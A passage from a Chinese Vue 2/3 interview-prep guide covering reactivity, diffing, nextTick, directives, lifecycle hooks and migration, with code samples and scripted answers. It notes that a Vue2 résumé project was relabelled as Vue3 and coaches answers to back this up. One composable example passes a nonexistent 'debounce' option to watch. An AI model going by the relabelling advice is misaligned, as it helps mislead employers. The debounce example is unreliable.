  await loadDocument(newId);          // 切换文档时重新加载
});

// 监听多个源
const keyword = ref('');
watch([docId, keyword], ([newDocId, newKeyword]) => {
  search(newDocId, newKeyword);
});

// 监听对象内部属性(要用函数形式)
const state = reactive({ doc: { name: '' } });
watch(() => state.doc.name, (newName) => {
  console.log('文档名变了', newName);
});

// 深度监听 + 立即执行
watch(() => state, (newVal) => {
  console.log('深层变化', newVal);
}, { deep: true, immediate: true });

// ③ watchEffect:自动收集依赖,立即执行一次(不用指定监听谁)
watchEffect(() => {
  // 函数里用到了哪些响应式数据,就自动监听哪些
  document.title = `${question.value} - 知识库助手`;
  loadDoc(docId.value);               // docId 变了自动重新执行
});

// ④ 停止监听
const stop = watch(docId, handler);
stop();                                // 手动停止(组件卸载时会自动停止)

三者对比(面试常问):

computed watch watchEffect
目的 算出新值 数据变了做某件事 副作用,自动收集依赖
返回值 有(要用作数据) 无 无
缓存 ✅ 依赖不变不重算 ❌ 每次变化都执行 ❌
是否立即执行 否(懒执行,用到才算) 否(需 immediate: true) ✅ 立即执行一次
需要指定监听源 自动(依赖函数内的数据) ✅ 必须显式指定 ❌ 自动收集
拿旧值 ❌ ✅ (newVal, oldVal) ❌
典型场景 购物车总价、字数统计 路由变化重新加载、搜索 修改 document.title、日志

一句话记忆: “要算出个新值用 computed;值变了要做事(尤其调接口)用 watch;不想操心依赖是谁、要立即执行用 watchEffect。”

3.5 虚拟 DOM 与 Diff 算法

什么是虚拟 DOM

小白讲解: 虚拟 DOM 是用普通 JS 对象描述页面结构。数据变了先改虚拟 DOM,通过 Diff 算法找出最小差异,再去改真实 DOM——因为直接操作真实 DOM 很慢(会触发重排重绘)。

// 真实 DOM 节点(浏览器对象,属性多、操作重)
<div id="app" class="container">
  <span>Hello</span>
</div>

// 对应的虚拟 DOM(VNode,就是个普通 JS 对象)
{
  tag: 'div',
  props: { id: 'app', class: 'container' },
  children: [
    { tag: 'span', props: {}, children: 'Hello' }
  ]
}

为什么需要虚拟 DOM:

直接操作真实 DOM:
  数据变化 → 重建整棵 DOM 树 → 浏览器重排+重绘 → 慢 ❌

虚拟 DOM:
  数据变化 → 生成新 VNode 树 → Diff 对比新旧树 → 只改差异节点 → 快 ✅
                                    ↓
                          比如 1000 个节点只变了 1 个
                          → 只更新那 1 个真实 DOM 节点

好处: ① 性能优化(批量 + 最小化更新);② 跨平台(同一套 VNode 可以渲染成 DOM、小程序、Native,因为 VNode 只是 JS 对象);③ 声明式编程(不用手动操作 DOM)。

Diff 算法(Vue3 的快速 Diff)

核心策略(三个原则,面试答这三点):

① 只比较同层级,不跨层级
     旧:A                新:A
        ├─ B                 ├─ C      ← 只对比 A 的子节点 B 和 C
        └─ C                 └─ B         不拿旧A的B 和 新A的子节点外的节点比

② 双端对比(Vue2 是头头、尾尾、头尾、尾头四指针)
   旧: [a, b, c, d]
   新: [a, d, c, b]
   从头比:a=a 相同 → 跳过
   从尾比:d=b 不同 → 停

③ Vue3 的 PatchFlag(革命性优化)
   编译时给动态节点打标记,Diff 时只看这些标记,静态内容直接跳过

Vue3 的 PatchFlag 优化(面试亮点):

<!-- 模板 -->
<div>
  <span>静态文本</span>              <!-- 静态,永不变 -->
  <span>{{ message }}</span>         <!-- 只有文本动态 -->
  <span :class="cls">内容</span>      <!-- 只有 class 动态 -->
</div>
// 编译后的渲染函数(简化)
_createElementVNode("div", null, [
  _createElementVNode("span", null, "静态文本"),                    // 无 flag
  _createElementVNode("span", null, _toDisplayString(message), 1 /* TEXT */),
  //                                                              ↑ PatchFlag=1 表示只有文本会变
  _createElementVNode("span", { class: cls }, "内容", 2 /* CLASS */)
  //                                                   ↑ PatchFlag=2 表示只有 class 会变
])

效果: Diff 时看到 TEXT 标记就直接比对文本内容,跳过属性、子节点等其他检查——靶向更新,这是 Vue3 性能提升的关键之一。

静态提升(另一个优化):

// 编译前
function render() {
  return createVNode('div', null, [
    createVNode('span', null, '静态文本'),    // 每次渲染都重新创建
    createVNode('span', null, message)
  ]);
}

// 编译后(静态提升)
const _hoisted = createVNode('span', null, '静态文本');   // ← 提到函数外,只创建一次
function render() {
  return createVNode('div', null, [
    _hoisted,                                  // 复用同一个 VNode
    createVNode('span', null, message)
  ]);
}

面试题 ⭐⭐⭐⭐:什么是虚拟 DOM?Diff 算法的原理?Vue3 做了哪些优化?

答: 虚拟 DOM 是用 JS 对象描述真实 DOM 结构的轻量表示。数据变化时先生成新的 VNode 树,通过 Diff 算法对比新旧树的差异,只把差异部分更新到真实 DOM,避免整棵树重建带来的重排重绘开销。 Diff 三原则: ① 只同层比较,不跨层;② 双端对比(头头、尾尾、头尾、尾头);③ 用 key 复用节点。 Vue3 的优化: ① PatchFlag——编译时给动态节点打标记(如 TEXT=1、CLASS=2),Diff 时只检查标记的部分,跳过静态内容;② 静态提升——静态节点提到渲染函数外只创建一次,复用;③ 事件缓存——内联事件处理函数缓存起来,避免每次渲染重新创建;④ Block Tree——把动态节点收集成数组,Diff 时只遍历动态节点,跳过静态子树。

3.6 nextTick(面试常考)

问题场景: Vue 的 DOM 更新是异步批量的——改了数据,DOM 不会立刻更新。

const count = ref(0);
const el = ref(null);

count.value = 1;
console.log(el.value.textContent);     // 还是 '0'!DOM 还没更新

// 解决:等下一次 DOM 更新周期结束后再读
import { nextTick } from 'vue';
count.value = 1;
await nextTick();                       // 或 nextTick(() => { ... })
console.log(el.value.textContent);     // '1' ✅

原理:

数据变化
   ↓
触发 setter → trigger → 把更新任务推进微任务队列(Promise.then)
   ↓
同步代码执行完
   ↓
清空微任务队列 → 执行组件更新(flushJobs)→ 更新 DOM
   ↓
nextTick 的回调也在微任务队列里,排在更新任务之后 → 能拿到更新后的 DOM

★ 关键:nextTick 内部就是用 Promise.then(微任务)实现的
  所以 nextTick 的回调一定在 DOM 更新之后执行

实际使用场景:

// 场景1:数据变化后操作 DOM(聚焦、滚动)
async function addMessage() {
  messages.value.push(newMsg);
  await nextTick();
  // 滚动到底部(必须在 DOM 更新后,否则新消息还没渲染)
  messageListRef.value.scrollTop = messageListRef.value.scrollHeight;
}

// 场景2:ECharts 初始化/更新(容器尺寸要等 DOM 就绪)
async function initChart() {
  showChart.value = true;          // 先让容器显示(v-if 控制)
  await nextTick();                // 等 DOM 渲染出容器
  chart = echarts.init(chartRef.value);   // 此时容器已有尺寸
  chart.setOption(option);
}

// 场景3:表单校验后聚焦第一个错误字段
await formRef.value.validate();
await nextTick();
document.querySelector('.is-error input')?.focus();

面试题 ⭐⭐⭐⭐:为什么 Vue 的 DOM 更新是异步的?nextTick 是什么原理?

答: 如果每次改数据都同步更新 DOM,那么一次操作改 10 个数据就会触发 10 次重排重绘,性能极差。所以 Vue 把 DOM 更新做成异步批量的:数据变化时先把更新任务推入微任务队列,同步代码执行完后统一 flush,同一个数据的多次变化只会更新一次(还会去重)。 nextTick 就是把回调也放进微任务队列(内部基于 Promise.then),排在 DOM 更新任务之后,所以能拿到更新后的 DOM。这也是为什么 nextTick 比 setTimeout(fn, 0) 快——微任务优先于宏任务。 使用场景: 数据变化后需要立即操作 DOM(滚动、聚焦、初始化图表)时,包在 nextTick 里。

3.7 模板语法与常用指令

<template>
  <!-- ① 文本插值 -->
  <span>{{ message }}</span>
  <span>{{ user.name.toUpperCase() }}</span>     <!-- 支持表达式 -->

  <!-- ② v-bind(简写 :)绑定属性 -->
  <img :src="avatarUrl" :alt="user.name">
  <div :class="{ active: isActive, 'text-danger': hasError }"></div>
  <div :class="[baseClass, dynamicClass]"></div>
  <div :style="{ color: textColor, fontSize: size + 'px' }"></div>

  <!-- ③ v-on(简写 @)绑定事件 -->
  <button @click="handleClick">点击</button>
  <button @click="handleClick($event, '参数')">带参数</button>
  <input @keyup.enter="submit">                  <!-- 按键修饰符 -->
  <form @submit.prevent="onSubmit"></form>       <!-- .prevent 阻止默认行为 -->
  <div @click.stop="onClick"></div>              <!-- .stop 阻止冒泡 -->
  <div @click.once="onClick"></div>              <!-- .once 只触发一次 -->

  <!-- ④ v-model 双向绑定 -->
  <input v-model="question">
  <!-- 等价于: -->
  <input :value="question" @input="question = $event.target.value">

  <el-input v-model.trim="question" />           <!-- .trim 去首尾空格 -->
  <el-input v-model.number="count" />            <!-- .number 转数字 -->
  <el-input v-model.lazy="keyword" />            <!-- .lazy 失焦才更新 -->

  <!-- ⑤ v-if vs v-show(面试必考区别) -->
  <div v-if="isVisible">条件渲染</div>           <!-- 不满足就销毁/不创建 DOM -->
  <div v-show="isVisible">显示隐藏</div>          <!-- 始终存在,只是 display:none -->

  <!-- ⑥ v-for 列表渲染(必须加 key) -->
  <div v-for="(item, index) in list" :key="item.id">
    {{ index }} - {{ item.name }}
  </div>
  <div v-for="(value, key) in obj" :key="key"></div>

  <!-- ⑦ v-html(危险!XSS 风险,见第十二章) -->
  <div v-html="rawHtml"></div>                   <!-- ⚠️ 绝不用于用户输入内容 -->
</template>

v-if vs v-show(面试必考):

v-if v-show
实现方式 条件不满足不渲染/销毁 DOM 节点 始终渲染,切换 display: none
初始开销 低(不满足就完全不创建) 高(不管怎样都创建)
切换开销 高(涉及 DOM 创建/销毁、组件生命周期) 低(只改 CSS)
适用场景 条件很少改变(如权限控制) 频繁切换(如 tab、折叠面板)
可配合 v-else / v-else-if 无

为什么 v-for 必须加 key?

无 key(就地复用):
  旧: [A, B, C]        新: [C, A, B]
  Vue 会"就地更新":把第一个节点内容改成 C、第二个改成 A、第三个改成 B
  → 如果节点里有输入框/组件状态,会错乱!

有 key(精准复用):
  旧: [A(key=1), B(key=2), C(key=3)]
  新: [C(key=3), A(key=1), B(key=2)]
  Vue 通过 key 认出"还是同一批节点",只做位置移动 → 状态保持正确 ✅

⚠️ 不要用 index 当 key!
  列表中间插入/删除元素时,index 会错位,导致错误复用

3.8 生命周期(Vue3)

创建阶段
  ├─ setup()                    ← 组合式 API 入口,最先执行(代替 beforeCreate/created)
  ├─ onBeforeMount()            组件挂载前(DOM 还没生成)
  ├─ onMounted()        ★★★      DOM 已就绪 → 调接口、初始化 ECharts、绑定事件
  │
更新阶段
  ├─ onBeforeUpdate()           数据变了,DOM 更新前
  ├─ onUpdated()                数据变了,DOM 更新后(⚠️ 别在这里改数据,会死循环)
  │
销毁阶段
  ├─ onBeforeUnmount()  ★★★     组件销毁前 → 清理 SSE/WebSocket/定时器/事件监听
  └─ onUnmounted()              组件已销毁

特殊
  ├─ onErrorCaptured()          捕获子孙组件错误
  ├─ onActivated/onDeactivated  keep-alive 缓存组件激活/失活

Vue2 → Vue3 生命周期对照(第四章详讲):

Vue2 (Options API) Vue3 (Composition API) 说明
beforeCreate setup() 合并进 setup
created setup() 合并进 setup
beforeMount onBeforeMount
mounted onMounted
beforeUpdate onBeforeUpdate
updated onUpdated
beforeDestroy onBeforeUnmount 改名(destroy → unmount)
destroyed onUnmounted 改名
activated onActivated keep-alive
deactivated onDeactivated keep-alive
errorCaptured onErrorCaptured

你的项目要用到的钩子:

import { onMounted, onUnmounted, onActivated, onDeactivated, ref } from 'vue';

onMounted(() => {
  // ① DOM 就绪 → 初始化
  loadHistory();                        // 拉历史对话
  chart = echarts.init(chartRef.value); // 初始化 ECharts(容器必须有尺寸!)
  window.addEventListener('resize', handleResize);
});

onUnmounted(() => {
  // ② 组件销毁 → 必须清理,否则内存泄漏
  eventSource?.close();                 // 关 SSE 连接
  ws?.close();                          // 关 WebSocket
  chart?.dispose();                     // 销毁 ECharts 实例(★ 大屏必做)
  clearInterval(timer);                 // 清定时器
  window.removeEventListener('resize', handleResize);
});

// ③ keep-alive 场景(大屏页面切换后回来)
onActivated(() => {
  chart?.resize();                      // 重新计算尺寸
  startPolling();                       // 恢复轮询
});
onDeactivated(() => {
  stopPolling();                        // 暂停轮询(省资源)
});

面试话术(结合你的项目,很有说服力): “我们踩过一个坑:用户在对话页切到文档管理页后,SSE 连接没关,后端还在推 token,浏览器控制台报错且连接数累积。后来统一在 onUnmounted 里 eventSource.close() 解决。大屏那边也类似——ECharts 实例不 dispose() 会导致内存泄漏,我们封装了个 composable 统一管理初始化和销毁。”


第三章 面试题汇总

# 题目 难度
1 Vue2 和 Vue3 响应式原理的区别?各自的缺陷? ⭐⭐⭐⭐⭐
2 手写一个简易的响应式系统(Proxy 版) ⭐⭐⭐⭐⭐
3 ref 和 reactive 的区别?什么时候用哪个? ⭐⭐⭐⭐
4 reactive 解构为什么会丢失响应式?怎么解决? ⭐⭐⭐⭐
5 computed、watch、watchEffect 的区别? ⭐⭐⭐⭐
6 什么是虚拟 DOM?为什么要用它? ⭐⭐⭐⭐
7 Diff 算法的原理?Vue3 做了哪些优化? ⭐⭐⭐⭐⭐
8 什么是 PatchFlag?有什么作用? ⭐⭐⭐⭐
9 为什么 Vue 的 DOM 更新是异步的?nextTick 原理? ⭐⭐⭐⭐
10 v-if 和 v-show 的区别?怎么选? ⭐⭐⭐⭐
11 v-for 为什么要加 key?能用 index 吗? ⭐⭐⭐⭐
12 Vue3 生命周期有哪些?和 Vue2 的对应关系? ⭐⭐⭐
13 组件卸载时要清理什么?不清理会怎样? ⭐⭐⭐⭐
14 说说你对 MVVM 的理解 ⭐⭐⭐


第四章:Vue2 vs Vue3 全面对比(重点章)

为什么这章重要: 你简历写的是 Vue3,但社区里大量项目还是 Vue2,面试官(尤其是资深前端)极爱问“Vue2 和 Vue3 有什么区别”——这一个问题就能区分出“只会抄代码”和“真懂框架”。 ⚠️ 你的特殊背景: 简历项目四(社区平台,2020-2022 埃森哲时期)原本用的是 Vue2 + Element UI(已在简历中统一为 Vue3 技术栈),如果面试官追问“你从 Vue2 迁到 Vue3 遇到过什么问题”,本章的 4.9 节准备了完整话术。

4.1 一张表看懂全部差异

维度 Vue2 Vue3 影响
响应式原理 Object.defineProperty Proxy 新增/删除属性、数组下标、Map/Set 全支持
API 风格 Options API(data/methods/computed 分块) Composition API(setup)+ 兼容 Options 逻辑复用从 mixin 变成 composable
根节点 单根(template 只能一个根元素) Fragment 多根 不用再套无意义的 <div>
生命周期 beforeDestroy / destroyed beforeUnmount / unmounted 命名统一(mount/unmount 对称)
打包体积 全量引入 Tree-shaking 按需 核心体积从 ~20KB 降到 ~10KB
Diff 算法 双端对比 快速 Diff + PatchFlag 靶向更新,跳过静态内容
TypeScript 支持差(this 类型难推) 原生 TS 重写 类型推导完善
状态管理 Vuex Pinia(官方推荐) 去掉 mutation,更简洁
组件通信 $on/$off/$emit 移除 $on/$off,保留 emit 事件总线改第三方 mitt
v-model 一个组件只能一个(.sync 辅助) 支持多个 + 自定义修饰符 表单组件更灵活
key 位置 v-if/v-else 要分别加 key 自动生成不同的 key 不用手动加
异步组件 () => import() defineAsyncComponent 支持 loading/error 状态
新组件 — Teleport / Suspense 传送门、异步依赖处理
过滤器 filter 支持 {{ msg | capitalize }} 移除(用 computed/方法) 管道语法被砍
$children 支持 移除 用 ref 获取子组件
构建工具 Vue CLI (Webpack) Vite(官方推荐) 冷启动秒级

4.2 响应式原理差异(代码级,面试必写)

详细原理见 3.2 节,这里聚焦对比和迁移踩坑。

Vue2 实现(简化版,要能手撕)

// Vue2 响应式核心:defineReactive + 依赖收集
class Dep {
  constructor() { this.subscribers = new Set(); }
  depend() { if (Dep.target) this.subscribers.add(Dep.target); }
  notify() { this.subscribers.forEach(sub => sub()); }
}
Dep.target = null;

function defineReactive(obj, key, val) {
  const dep = new Dep();
  observe(val);                          // 递归子对象(初始化时全量递归!)
  Object.defineProperty(obj, key, {
    get() {
      dep.depend();                      // 收集依赖
      return val;
    },
    set(newVal) {
      if (newVal === val) return;
      val = newVal;
      observe(newVal);                   // 新值也要递归
      dep.notify();                      // 派发更新
    }
  });
}

function observe(obj) {
  if (typeof obj !== 'object' || obj === null) return;
  Object.keys(obj).forEach(key => defineReactive(obj, key, obj[key]));
}

// 数组的特殊处理:重写 7 个变更方法
const arrayProto = Array.prototype;
const arrayMethods = Object.create(arrayProto);
['push', 'pop', 'shift', 'unshift', 'splice', 'sort', 'reverse'].forEach(method => {
  arrayMethods[method] = function(...args) {
    const result = arrayProto[method].apply(this, args);
    this.__ob__.dep.notify();            // 手动触发更新
    return result;
  };
});
// 这就是为什么 Vue2 里 arr[0] = x 不响应,但 arr.push(x) 响应

Vue3 实现(简化版)

// Vue3 响应式核心:Proxy + 懒代理
const targetMap = new WeakMap();        // WeakMap<target, Map<key, Set<effect>>>
let activeEffect = null;

function track(target, key) {
  if (!activeEffect) return;
  let depsMap = targetMap.get(target);
  if (!depsMap) targetMap.set(target, depsMap = new Map());
  let dep = depsMap.get(key);
  if (!dep) depsMap.set(key, dep = new Set());
  dep.add(activeEffect);
}

function trigger(target, key) {
  const depsMap = targetMap.get(target);
  if (!depsMap) return;
  const dep = depsMap.get(key);
  if (dep) dep.forEach(effect => effect());
}

function reactive(target) {
  return new Proxy(target, {
    get(obj, key, receiver) {
      track(obj, key);
      const result = Reflect.get(obj, key, receiver);
      // ★ 懒代理:只有访问到才递归代理(Vue2 是初始化就全量递归)
      return typeof result === 'object' && result !== null
        ? reactive(result) : result;
    },
    set(obj, key, value, receiver) {
      const oldValue = obj[key];
      const success = Reflect.set(obj, key, value, receiver);
      if (oldValue !== value) trigger(obj, key);
      return success;
    },
    deleteProperty(obj, key) {
      const hadKey = Object.prototype.hasOwnProperty.call(obj, key);
      const success = Reflect.deleteProperty(obj, key);
      if (hadKey && success) trigger(obj, key);
      return success;
    }
  });
}

function effect(fn) {
  activeEffect = fn;
  fn();                                  // 立即执行一次,触发 getter → 收集依赖
  activeEffect = null;
}

// 使用
const state = reactive({ count: 0, user: { name: '张三' } });
effect(() => console.log('count =', state.count));   // 立即打印 count = 0
state.count++;                                        // 自动触发 → count = 1
state.newProp = '任意新属性';                          // ✅ Vue3 能拦截
delete state.count;                                   // ✅ Vue3 能拦截

对比总结(背这段就够了)

对比点 Vue2 defineProperty Vue3 Proxy
劫持粒度 逐个属性 整个对象
新增属性 ❌ 需 $set ✅ 原生支持
删除属性 ❌ 需 $delete ✅ deleteProperty 拦截
数组下标 ❌ 需 $set 或重写方法 ✅ 原生支持
数组 length ❌ ✅
Map / Set ❌ ✅
递归时机 初始化全量递归(对象大时卡) 懒代理(访问到才递归)
拦截操作种类 只有 get/set(2 种) 13 种(get/set/has/deleteProperty/ownKeys…)
浏览器兼容 IE8+(重写过) 不支持 IE11(Proxy 无法 polyfill)

⚠️ 面试追问:Vue3 不支持 IE11 吗?

答: 对。Vue3 的响应式基于 Proxy,而 Proxy 是 ES6 特性无法被 polyfill(因为要拦截语言层面的对象操作)。所以 Vue3 官方放弃 IE11 支持。如果项目必须兼容 IE11,只能用 Vue 2.7(Vue2 的最后一个版本,反向移植了 Composition API)。我们项目是内部系统,只要求 Chrome/Edge 现代浏览器,所以直接上 Vue3。

4.3 Options API vs Composition API(代码对照)

这是最直观的差异,也是面试最爱让“说说区别”的地方。建议记住下面这个对照例子。

场景:一个文档列表页,有搜索、分页、加载

Vue2 Options API 写法:

<script>
export default {
  // 数据集中放 data
  data() {
    return {
      docList: [],
      keyword: '',
      loading: false,
      pageNum: 1,
      total: 0
    };
  },
  // 计算属性集中放 computed
  computed: {
    hasData() { return this.docList.length > 0; }
  },
  // 方法集中放 methods
  methods: {
    async loadDocs() {
      this.loading = true;
      const res = await fetch(`/api/documents?keyword=${this.keyword}&page=${this.pageNum}`);
      const data = await res.json();
      this.docList = data.list;
      this.total = data.total;
      this.loading = false;
    },
    handleSearch() {
      this.pageNum = 1;
      this.loadDocs();
    }
  },
  // 监听器集中放 watch
  watch: {
    pageNum() { this.loadDocs(); }
  },
  // 生命周期
  mounted() { this.loadDocs(); }
};
</script>

Vue3 Composition API 写法:

<script setup>
import { ref, computed, watch, onMounted } from 'vue';

// 同一个功能的数据+逻辑写在一起(高内聚)
const docList = ref([]);
const keyword = ref('');
const loading = ref(false);
const pageNum = ref(1);
const total = ref(0);

const hasData = computed(() => docList.value.length > 0);

async function loadDocs() {
  loading.value = true;
  const res = await fetch(`/api/documents?keyword=${keyword.value}&page=${pageNum.value}`);
  const data = await res.json();
  docList.value = data.list;
  total.value = data.total;
  loading.value = false;
}

function handleSearch() {
  pageNum.value = 1;
  loadDocs();
}

watch(pageNum, loadDocs);
onMounted(loadDocs);
</script>

真正的核心优势:逻辑复用(Composable)

这是 Composition API 存在的最大意义——解决 Vue2 mixin 的三大痛点。

Vue2 的 mixin 三大坑:

// mixin-a.js
export const searchMixin = {
  data() { return { keyword: '' }; },      // ① 命名冲突:两个 mixin 都有 keyword 会覆盖!
  methods: { search() { /* ... */ } }
};
export const pageMixin = {
  data() { return { keyword: '', pageNum: 1 }; },   // ← 也有 keyword!静默覆盖,难排查
};
// ② 来源不清晰:模板里用 this.keyword,不知道是哪个 mixin 来的
// ③ 不能传参:mixin 是固定逻辑,无法像函数一样配置

Vue3 的 composable(自定义 hooks):

// composables/useSearch.js —— 就是一个普通函数,可以传参、可以返回任意东西
import { ref, watch } from 'vue';

export function useSearch(fetchFn, defaultKeyword = '') {
  const keyword = ref(defaultKeyword);     // 每个组件调用都是独立实例,不会冲突
  const results = ref([]);
  const loading = ref(false);

  async function search() {
    loading.value = true;
    results.value = await fetchFn(keyword.value);
    loading.value = false;
  }

  watch(keyword, search, { debounce: 300 });

  return { keyword, results, loading, search };   // 显式返回,来源清晰
}

// 组件中使用(可以调用多次,互不干扰)
const docSearch = useSearch(searchDocuments);
const tagSearch = useSearch(searchTags, 'default');   // 传参配置 ✅
// docSearch.keyword 和 tagSearch.keyword 完全独立,不会冲突 ✅

对比表(面试答这个):

对比 Vue2 Options API + mixin Vue3 Composition API + composable
代码组织 按选项类型分(data/methods 分开) 按功能聚合(相关逻辑写一起)
命名冲突 ❌ mixin 属性会静默覆盖 ✅ 每次调用独立作用域
来源追溯 ❌ this.xxx 不知道哪来的 ✅ 显式解构,来源清晰
传参配置 ❌ mixin 固定逻辑 ✅ 函数可传参
类型推导 ❌ this 类型难推 ✅ 原生 TS 友好
学习成本 低(分块清晰) 稍高(要理解响应式 API)
逻辑复用 mixin(有坑) composable(纯函数,好测试)

面试话术: “Composition API 最大的价值不是写法变化,而是逻辑复用方式的根本改变。Vue2 用 mixin 复用,但有三个坑:命名冲突、来源不清晰、不能传参。Vue3 把逻辑抽成 composable 函数,本质是普通 JS 函数——可以传参、每次调用独立作用域、返回什么一目了然,还能单独写单元测试。我们项目里把 SSE 流式请求、ECharts 生命周期管理、分页逻辑都抽成了 composable,几个页面直接复用。”

4.4 生命周期变化(对照 + 迁移)

Vue2                          Vue3 (Options)              Vue3 (Composition)
─────────────────────────────────────────────────────────────────────────
beforeCreate          →       beforeCreate          →      setup()
created               →       created               →      setup()
beforeMount           →       beforeMount           →      onBeforeMount()
mounted               →       mounted               →      onMounted()
beforeUpdate          →       beforeUpdate          →      onBeforeUpdate()
updated               →       updated               →      onUpdated()
beforeDestroy         →       beforeUnmount  ★改名  →      onBeforeUnmount()
destroyed             →       unmounted     ★改名  →      onUnmounted()
errorCaptured         →       errorCaptured         →      onErrorCaptured()
activated             →       activated             →      onActivated()
deactivated           →       deactivated           →      onDeactivated()

关键变化:

  1. beforeCreate 和 created 被 setup() 取代——setup 在组件创建前执行,所以这两个钩子的代码直接写在 setup 顶层。
  2. destroy 改名为 unmount——和 mount 对称,语义更准确(销毁 ≠ 卸载)。
  3. 新增 onRenderTracked / onRenderTriggered(调试用,了解即可)。
// Vue2 写法
export default {
  created() {
    console.log('组件创建了');
    this.loadData();               // 注意:created 时 DOM 还没生成,不能操作 DOM
  },
  mounted() {
    this.$refs.input.focus();      // DOM 就绪
  },
  beforeDestroy() {
    clearInterval(this.timer);
  }
};

// Vue3 写法
import { onMounted, onBeforeUnmount, ref } from 'vue';

// setup 顶层就相当于 created
console.log('组件创建了');
loadData();

onMounted(() => {
  inputRef.value.focus();
});

onBeforeUnmount(() => {
  clearInterval(timer);
});

⚠️ 注意:Vue3 里 setup() 中不能用 this(setup 执行时组件实例还没创建)。要拿组件实例用 getCurrentInstance(),但一般不推荐。

4.5 性能提升(Vue3 快在哪?记住 5 点)

① Tree-shaking(按需引入,体积小一半)

// Vue2:不管用不用,整个 Vue 全量引入
import Vue from 'vue';
// 打包后包含所有 API(v-model、transition、keep-alive...),即使用不到

// Vue3:ES Module 按需引入,没用到的 API 被 tree-shaking 掉
import { createApp, ref, computed } from 'vue';
// 只打包用到的部分 → 核心运行时从 ~20KB(gzip) 降到 ~10KB

原理: Vue3 把 API 拆成独立函数导出,打包工具(Rollup/Vite)能静态分析出哪些没用到并删除。Vue2 的 API 都挂在 Vue 对象上(Vue.nextTick),无法静态分析。

② 静态提升(Static Hoisting)

// 编译前
render() {
  return createVNode('div', null, [
    createVNode('span', null, '静态文本'),    // 每次渲染都重新创建对象
    createVNode('span', null, this.message)
  ]);
}

// 编译后:静态节点提到渲染函数外
const hoisted = createVNode('span', null, '静态文本');   // 只创建一次
render() {
  return createVNode('div', null, [
    hoisted,                                  // 复用
    createVNode('span', null, this.message)
  ]);
}

③ PatchFlag(靶向更新)

// 编译时给动态节点打标记
createVNode('span', null, toDisplayString(msg), 1 /* TEXT */)
//                                               ↑ 只有文本会变

// Diff 时:
if (patchFlag & PatchFlags.TEXT) {
  // 只比对文本内容,跳过 props、children 检查
}

④ 事件缓存(cacheHandlers)

// 编译前:内联函数每次渲染都重新创建,导致 Diff 时认为变了
createVNode('button', { onClick: () => handleClick() })

// 编译后:缓存起来
createVNode('button', {
  onClick: _cache[0] || (_cache[0] = (...args) => handleClick(...args))
})

⑤ Block Tree(动态节点收集)

// 编译时把动态节点收集成数组
const block = createBlock('div', null, [
  hoisted,                       // 静态
  dynamicNode1,                  // 动态 → 进 dynamicChildren
  hoisted2,                      // 静态
  dynamicNode2                   // 动态 → 进 dynamicChildren
], PatchFlags.STABLE_FRAGMENT);
// block.dynamicChildren = [dynamicNode1, dynamicNode2]

// Diff 时只遍历 dynamicChildren(跳过所有静态节点)
// 复杂度从「整棵树」降到「动态节点数量」

面试话术(背这段): “Vue3 性能提升主要有五点:① 基于 ES Module 的 Tree-shaking,核心体积减半;② 静态提升,静态节点只创建一次复用;③ PatchFlag 标记动态节点类型,Diff 时靶向更新;④ 事件处理器缓存,避免不必要的更新;⑤ Block Tree 把动态节点收集成数组,Diff 时只遍历动态节点。官方数据是渲染性能提升 1.32 倍,SSR 提升 23 倍,包体积减少 41%。”

4.6 Vue3 新特性(三个新组件/能力)

① Fragment(多根节点)

<!-- Vue2 ❌:template 必须有且只有一个根元素 -->
<template>
  <div>                          <!-- 被迫套一层无意义的 div -->
    <header>...</header>
    <main>...</main>
  </div>
</template>

<!-- Vue3 ✅:支持多个根节点 -->
<template>
  <header>...</header>
  <main>...</main>
  <footer>...</footer>
</template>

好处: 减少无意义 DOM 层级,对 CSS 布局(Flex/Grid 直接子元素)友好。

⚠️ 注意: 多根组件如果有 class 绑定,需要显式指定给哪个根(或用 $attrs)。

② Teleport(传送门)

解决什么问题: 组件在逻辑上属于当前组件树,但 DOM 上要渲染到别处(比如弹窗要挂到 body 下,避免被父级 overflow:hidden 或 z-index 裁剪)。

<template>
  <div class="page">
    <!-- 逻辑上写在这里,DOM 上会被传送到 body -->
    <Teleport to="body">
      <div v-if="showDialog" class="modal">
        <h3>删除确认</h3>
        <button @click="confirm">确定</button>
      </div>
    </Teleport>
  </div>
</template>

<!-- 渲染后的真实 DOM 结构:
<body>
  <div class="page"></div>          ← 组件本身在这
  <div class="modal">...</div>       ← 弹窗被传送到 body 下,不受父级样式影响
</body>
-->

你的项目场景: 资产托管系统的指令详情弹窗、RAG 系统的文档预览全屏弹层——嵌套在复杂布局里时用 Teleport 挂到 body,避免被祖先的 overflow/z-index 影响。

③ Suspense(异步组件等待)

<template>
  <!-- 异步组件加载完成前显示 fallback -->
  <Suspense>
    <template #default>
      <AsyncDashboard />          <!-- 内部有 await 的异步组件 -->
    </template>
    <template #fallback>
      <el-skeleton :rows="5" />   <!-- 加载中显示骨架屏 -->
    </template>
  </Suspense>
</template>

<script setup>
// 异步组件:setup 里可以 await
const AsyncDashboard = defineAsyncComponent(() => import('./Dashboard.vue'));
</script>

你的项目场景: 能源大屏首屏要加载 ECharts(体积大),用 Suspense + 骨架屏,避免白屏。

⚠️ 注意: Suspense 目前仍是实验性特性,API 可能变化,生产环境慎用(可以用 defineAsyncComponent 的 loadingComponent 替代)。

4.7 Vue3 移除了什么(迁移必踩)

移除的 API Vue2 用法 Vue3 替代方案
$on / $off / $once 事件总线 this.$on('event', fn) 用 mitt 或 tiny-emitter 第三方库
$children this.$children[0] 用 ref 获取子组件实例
过滤器 filter {{ msg | capitalize }} 用 computed 或方法 {{ capitalize(msg) }}
Vue.set / $set this.$set(obj, 'key', val) 不需要了,Proxy 原生支持
Vue.delete / $delete this.$delete(obj, 'key') 不需要了
按键码 @keyup.13 只能用别名 @keyup.enter
v-on.native <comp @click.native="fn"> 移除,emit 未在 emits 声明的会透传
全局 Vue.xxx Vue.use() / Vue.prototype createApp() 实例方法 / app.config.globalProperties
内联模板 inline-template <comp inline-template> 移除

过滤器迁移示例(常见考点):

<!-- Vue2 -->
<template>
  <div>{{ amount | currency }}</div>
  <div>{{ createTime | dateFormat('YYYY-MM-DD') }}</div>
</template>
<script>
export default {
  filters: {
    currency(val) { return '¥' + Number(val).toFixed(2); },
    dateFormat(val, format) { return dayjs(val).format(format); }
  }
};
</script>

<!-- Vue3:改用 computed 或方法 -->
<template>
  <div>{{ formatCurrency(amount) }}</div>
  <div>{{ formatDate(createTime, 'YYYY-MM-DD') }}</div>
</template>
<script setup>
import { computed } from 'vue';
const formatCurrency = (val) => '¥' + Number(val).toFixed(2);
const formatDate = (val, fmt) => dayjs(val).format(fmt);
// 或者用 computed(有缓存,适合频繁渲染)
